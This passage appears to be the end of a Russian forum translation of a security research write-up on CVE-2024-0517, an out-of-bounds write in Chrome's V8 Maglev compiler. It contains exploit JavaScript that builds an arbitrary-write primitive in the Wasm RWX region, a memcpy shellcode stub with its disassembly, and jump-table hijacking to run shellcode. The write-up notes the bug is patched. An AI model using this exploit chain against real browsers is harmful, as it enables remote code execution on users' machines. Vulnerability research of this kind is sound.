Следующий код эксплойта вызывает «контрабандный» шелл-код, чтобы заставить его перезаписать начальные байты функции Wasm с теми же инструкциями, чтобы заставить функцию Wasm выполнить произвольную запись.

JavaScript: Скопировать в буфер обмена
Код:
let initial_rwx_write_at = wasm_rwx + wasm_function_offset;
f(initial_rwx_write_at, 0xc310894890909090n);

Это смещение wasm_function_offset, зависящее от версии, и обозначает смещение от начала региона Wasm RWX до начала экспортированной функции Wasm. После этого момента функция f представляет собой полностью произвольную запись, которая принимает первый аргумент в качестве целевого адреса, а второй аргумент — в качестве значения для записи.

Запуск шеллкода

Как только достигается полный 64-битный примитив постоянной записи, эксплойт начинает использовать его для копирования небольшого шелл-кода копирования промежуточной памяти в регион RWX. Это сделано потому, что размер окончательного шеллкода может быть большим и, следовательно, увеличивает вероятность запуска JIT и GC, если он записывается напрямую в регион RWX с использованием произвольной записи. Поэтому большая копия в регион RWX выполняется с помощью следующего шеллкода:

0: 4c 01 f2 add rdx,r14
3: 50 push rax
4: 48 8b 1a mov rbx,QWORD PTR [rdx]
7: 89 18 mov DWORD PTR [rax],ebx
9: 48 83 c2 08 add rdx,0x8
d: 48 83 c0 04 add rax,0x4
11: 66 83 e9 04 sub cx,0x4
15: 66 83 f9 00 cmp cx,0x0
19: 75 e9 jne 0x4
1b: 58 pop rax
1c: ff d0 call rax
1e: c3 ret
Нажмите, чтобы раскрыть...

Этот шеллкод копирует более 4 байтов за раз из резервного буфера двойного массива, содержащего шеллкод в куче V8, и записывает его в целевой регион RWX. Первый аргумент в регистре RAX — это целевой адрес. Второй аргумент в регистре RDX — это адрес источника, а третий в регистре RCX — размер финального копируемого шеллкода. Следующие части эксплойта демонстрируют копирование этой 4-байтовой полезной нагрузки копирования памяти в регион RWX с использованием произвольной записи, полученной в предыдущей функции.

JavaScript: Скопировать в буфер обмена
Код:
[1]

  let start_our_rwx = wasm_rwx+0x500n;
  f(start_our_rwx, snd_sc_b64[0]);
  f(start_our_rwx+8n, snd_sc_b64[1]);
  f(start_our_rwx+16n, snd_sc_b64[2]);
  f(start_our_rwx+24n, snd_sc_b64[3]);

[2]

  let addr_wasminstance_rce = addrof(wasmInstanceRCE);
  log(DEBUG, "addrof(wasmInstanceRCE) => " + hex(addr_wasminstance_rce));
  let rce = wasmInstanceRCE.exports.main;
  v8h_write64(addr_wasminstance_rce+wasmoffset, start_out_rwx);

[3]

  let addr_of_sc_aux = addrof(shellcode);
  let addr_of_sc_ele = v8h_read(addr_of_sc_aux+8n)+8n-1n;
  rce(wasm_rwx, addr_of_sc_ele, 0x300);

В [1] эксплойт использует произвольную запись для копирования полезных данных memcpy, хранящихся в массиве snd_sc_b64, в регион RWX. Целевой регион — это, по сути, регион, расположенный на расстоянии 0x500 байт от начала региона Wasm (это смещение было выбрано произвольно, единственное предварительное условие — не перезаписывать собственный шеллкод эксплойта). Как упоминалось ранее, экземпляр веб-сборки вызывает указатель jump_table_start, который перезаписывает эксплойт, только один раз, и именно тогда он пытается найти адреса экспортированных функций Wasm. Следовательно, эксплойт использует второй экземпляр Wasm и в [2] перезаписывает свой указатель jump_table_start на указатель региона, куда был скопирован шелл-код memcpy. Наконец, в [3] вычисляется указатель элементов массива, содержащего шелл-код, и вызывается 4-байтовая полезная нагрузка копирования памяти с необходимыми аргументами: первый - для копирования окончательного шелл-кода, второй - указатель источника и последняя часть — размер шеллкода. Когда вызывается функция wasm, шелл-код запускается, и после выполнения копии окончательного шелл-кода он перенаправляет выполнение на целевой адрес call rax, эффективно запуская предоставленный пользователем шелл-код.

Ниже приведено видео, демонстрирующее действие эксплойта в Chrome 120.0.6099.71 в Linux.

Заключение

В этом посте мы обсудили уязвимость в V8, которая возникла из-за того, как компилятор Maglev V8 пытался оптимизировать количество выполняемых распределений. Нам удалось воспользоваться этой ошибкой, воспользовавшись сборщиком мусора V8 для получения доступа к чтению/записи в куче V8. Затем мы используем объект экземпляра Wasm в V8, который все еще имеет необработанный 64-битный указатель на память Wasm RWX, чтобы обойти Ubercage и обеспечить выполнение кода внутри песочницы Chrome.

Эта уязвимость была исправлена в обновлении Chrome от 16 января 2024 года и присвоена ей CVE-2024-0517. Следующий коммит устраняет уязвимость: https://chromium-review.googlesource.com/c/v8/v8/+/5173470 . Помимо исправления уязвимости, недавно была введена фиксация восходящего потока V8 для перемещения экземпляра WASM в новое доверенное пространство, что делает этот метод обхода Ubercage неэффективным.

Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://blog.exodusintel.com/2024/0...2024-0517-out-of-bounds-write-code-execution/
 
Сверху Снизу